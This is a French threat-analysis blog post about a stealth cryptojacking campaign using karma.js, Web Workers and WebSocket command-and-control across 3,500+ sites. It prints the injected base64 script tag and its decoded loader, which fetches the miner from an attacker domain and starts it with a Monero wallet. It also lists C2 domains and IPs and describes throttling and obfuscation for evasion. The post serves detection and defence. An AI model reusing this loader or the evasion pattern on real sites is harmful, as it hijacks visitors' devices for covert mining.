Le CryptoJacking est mort : vive le CryptoJacking

En bref : mineur furtif WebAssembly dans un worker, avec C2 via WebSocket

• Le secteur a enterré le cryptojacking après la fermeture de Coinhive en 2019. Cette nécrologie a fait la part belle aux titres sur les rançongiciels. Pendant ce temps, les mêmes équipes reconstruisaient le mineur pour brider le CPU, se cacher dans des Web Workers et communiquer avec leur command-and-control via WebSockets.
• Les tableaux de bord de cside montraient une baisse, jusqu'à ce que karma[.]js, hébergé sur yobox[.]store, se propage sur plus de 3 500 sites infectés, se connecte à wss://lokilokitwo[.]de:10006 et réutilise le domaine trustisimportant[.]fun, également employé pour du Magecart. Notre moteur de détection a signalé le fichier comme malveillant, malgré l'absence de pics CPU visibles dans les tests en sandbox.
• Si votre défense part du principe que le cryptojacking est terminé, abandonnez cette hypothèse dès aujourd'hui. Ajoutez une inspection runtime des scripts qui surveille la création de Web Workers et les schémas de C2 par WebSocket, ou continuez de payer la facture électrique du portefeuille Monero d'un inconnu.

L'essor et le déclin (et le retour) du minage en navigateur

C'était en 2017 quand Coinhive a fait irruption sur la scène, en intégrant directement un mineur de Monero dans des sites web. Les utilisateurs minaient de la cryptomonnaie à leur insu en naviguant, transformant leurs appareils en moteurs de profit silencieux pour les propriétaires de sites.

Pendant un bref instant, cela ressemblait à une situation gagnant-gagnant : les sites web généraient des revenus sans publicité, et les utilisateurs évitaient les pop-ups intrusifs. Mais lorsque le taux de hachage de Coinhive a grimpé jusqu'à 12 % de la puissance totale du réseau Monero, les ralentissements des appareils et la décharge des batteries ont déclenché une indignation publique.

En 2019, des navigateurs comme Chrome et Firefox ont bloqué le CryptoJacking en navigateur, et Coinhive a fermé ses portes.

Le cryptojacking, semblait-il, était mort.

Mais en cybersécurité, la mort est rarement définitive…

Un déclin mystérieux (et un bug dans la matrice)

Chez cside, nous suivions les campagnes de cryptojacking depuis des années. Fin 2024, nos tableaux de bord affichaient une forte baisse d'activité. Les charges utiles de minage étaient bloquées plus efficacement, et les attaquants semblaient être passés à des cibles plus lucratives comme les rançongiciels ou le vol d'identifiants.

Puis, un mardi ordinaire, notre crawler a signalé quelque chose d'étrange : un fichier JavaScript tiers chargé depuis https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.

L'URL elle-même était un signal d'alarme : un paramètre aléatoire, une requête absurde nosaj=faster.mo. Mais ce qui a vraiment déclenché les alertes, c'est le comportement du fichier :

• Aucune requête réseau (à première vue).
• Aucun pic CPU évident dans les tests en sandbox.
• Pourtant, notre IA l'a signalé comme malveillant.

Ce n'était pas le cryptojacking bruyant et gourmand en ressources de 2018. C'était… silencieux.

Injection sur le site web :

<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>

Le Base64 se décode en :

(function(d, s, id){
    var js, fjs = d.getElementsByTagName(s)[0];
    if (d.getElementById(id)){ return; }
    js = d.createElement(s); js.id = id;
    js.onload = function(){
        EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
    };
    js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
    fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));

Trustisimportant[.]fun redirige l'utilisateur vers yobox[.]store, d'où le JS malveillant est téléchargé.

Déboguer le fantôme : un tutoriel JS 101

Nous avons chargé le script dans un environnement contrôlé pour le disséquer. Voici notre démarche :

Étape 1 : Construire un sandbox de débogage sécurisé

Nous avons encapsulé le JS dans une page HTML simple avec une Content Security Policy (CSP) pour permettre le débogage sans déclencher les blocages du navigateur :

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
  <title>Debugging Karma</title>
</head>
<body>
  <script src="karma.js"></script> <!-- The malicious file -->
</body>
</html>

La directive unsafe-eval était essentielle, car le script utilisait une obfuscation de type eval pour dissimuler sa logique.

Étape 2 : Insérer des points de débogage

Nous avons ajouté des instructions debugger; à des endroits clés pour mettre en pause l'exécution dans Chrome DevTools. Par exemple :

function _0x6BE7() { // A WebSocket setup function
  debugger; // <-- Execution pauses here
  if (ws != null) { ws.close(); }
  // ... rest of code
}

Étape 3 : Décoder l'obfuscation

Le script était un labyrinthe de variables renommées (par exemple, _0x6AC1, _0x6B23) et de chaînes encodées. En utilisant l'onglet Sources de DevTools, nous avons :

1. 1.Placé des points d'arrêt pour parcourir l'exécution pas à pas.
2. 2.Observé les variables pour cartographier leur véritable rôle (par exemple, _0x6B85 vérifiait si l'appareil était mobile).
3. 3.Tracé l'activité réseau via l'onglet Network, révélant des connexions WebSocket vers wss://lokilokitwo[.]de:10006.

La découverte clé : un mineur silencieux

Le script ne minait pas directement de la cryptomonnaie. À la place, il :

• Vérifiait la prise en charge de WebAssembly (pour évaluer la puissance de l'appareil).
• Créait des Web Workers en arrière-plan (tableau worcy) pour exécuter les tâches de minage sans bloquer le thread principal.
• Utilisait des WebSockets pour recevoir des commandes du serveur C2, ajustant l'intensité du minage selon les capacités de l'appareil.

Il s'agissait d'un mineur furtif, conçu pour échapper à la détection en restant sous le radar aussi bien des utilisateurs que des outils de sécurité.

Vue d'ensemble : plus de 3 500 sites infectés

Une enquête plus approfondie a révélé une campagne d'envergure :

• Plus de 3 500 sites web chargeaient le fichier malveillant karma[.]js.
• Infrastructure réutilisée : le domaine trustisimportant[.]fun était lié à la fois à des campagnes de cryptojacking et de Magecart (skimming de cartes bancaires). Les attaquants diversifiaient leurs charges utiles.
• IP clés : 89.58.14.251 et 104.21.80.1 faisaient office de serveurs de command-and-control (C2).

La devise de la campagne ? « Rester discret, miner lentement. » En bridant l'utilisation du CPU et en dissimulant le trafic dans des flux WebSocket, elle évitait les signes révélateurs du cryptojacking traditionnel.

Les attaques de CryptoJacking en 101 : qu'est-ce que le CryptoJacking et comment fonctionne-t-il aujourd'hui ?

Le cryptojacking moderne a évolué vers une attaque silencieuse et multi-étapes :

1. Des fichiers JS malveillants, comme karma[.]js, sont injectés dans des sites web.
2. Le script vérifie la prise en charge de WebAssembly, le type d'appareil (mobile ou bureau) et les fonctionnalités du navigateur pour optimiser le minage.
3. Des Web Workers sont créés pour exécuter les tâches de minage en arrière-plan, en évitant les signaux d'alerte liés aux performances.
4. Des WebSockets ou des requêtes HTTPS récupèrent les tâches de minage et envoient les résultats aux serveurs C2.

L'objectif est de siphonner les ressources de façon persistante dans le temps, comme un vampire numérique, et non de vider les appareils instantanément.

Conclusion : le jeu du chat et de la souris continue

Le cryptojacking n'est pas mort, il est simplement devenu plus intelligent. Les attaquants privilégient désormais la discrétion plutôt que le vol de ressources par la force brute, en s'appuyant sur l'obfuscation, les WebSockets et la réutilisation d'infrastructure pour rester cachés.

Les attaques côté client sont de plus en plus difficiles à repérer avec des analyses statiques. C'est l'inspection runtime des scripts qui permet de les détecter.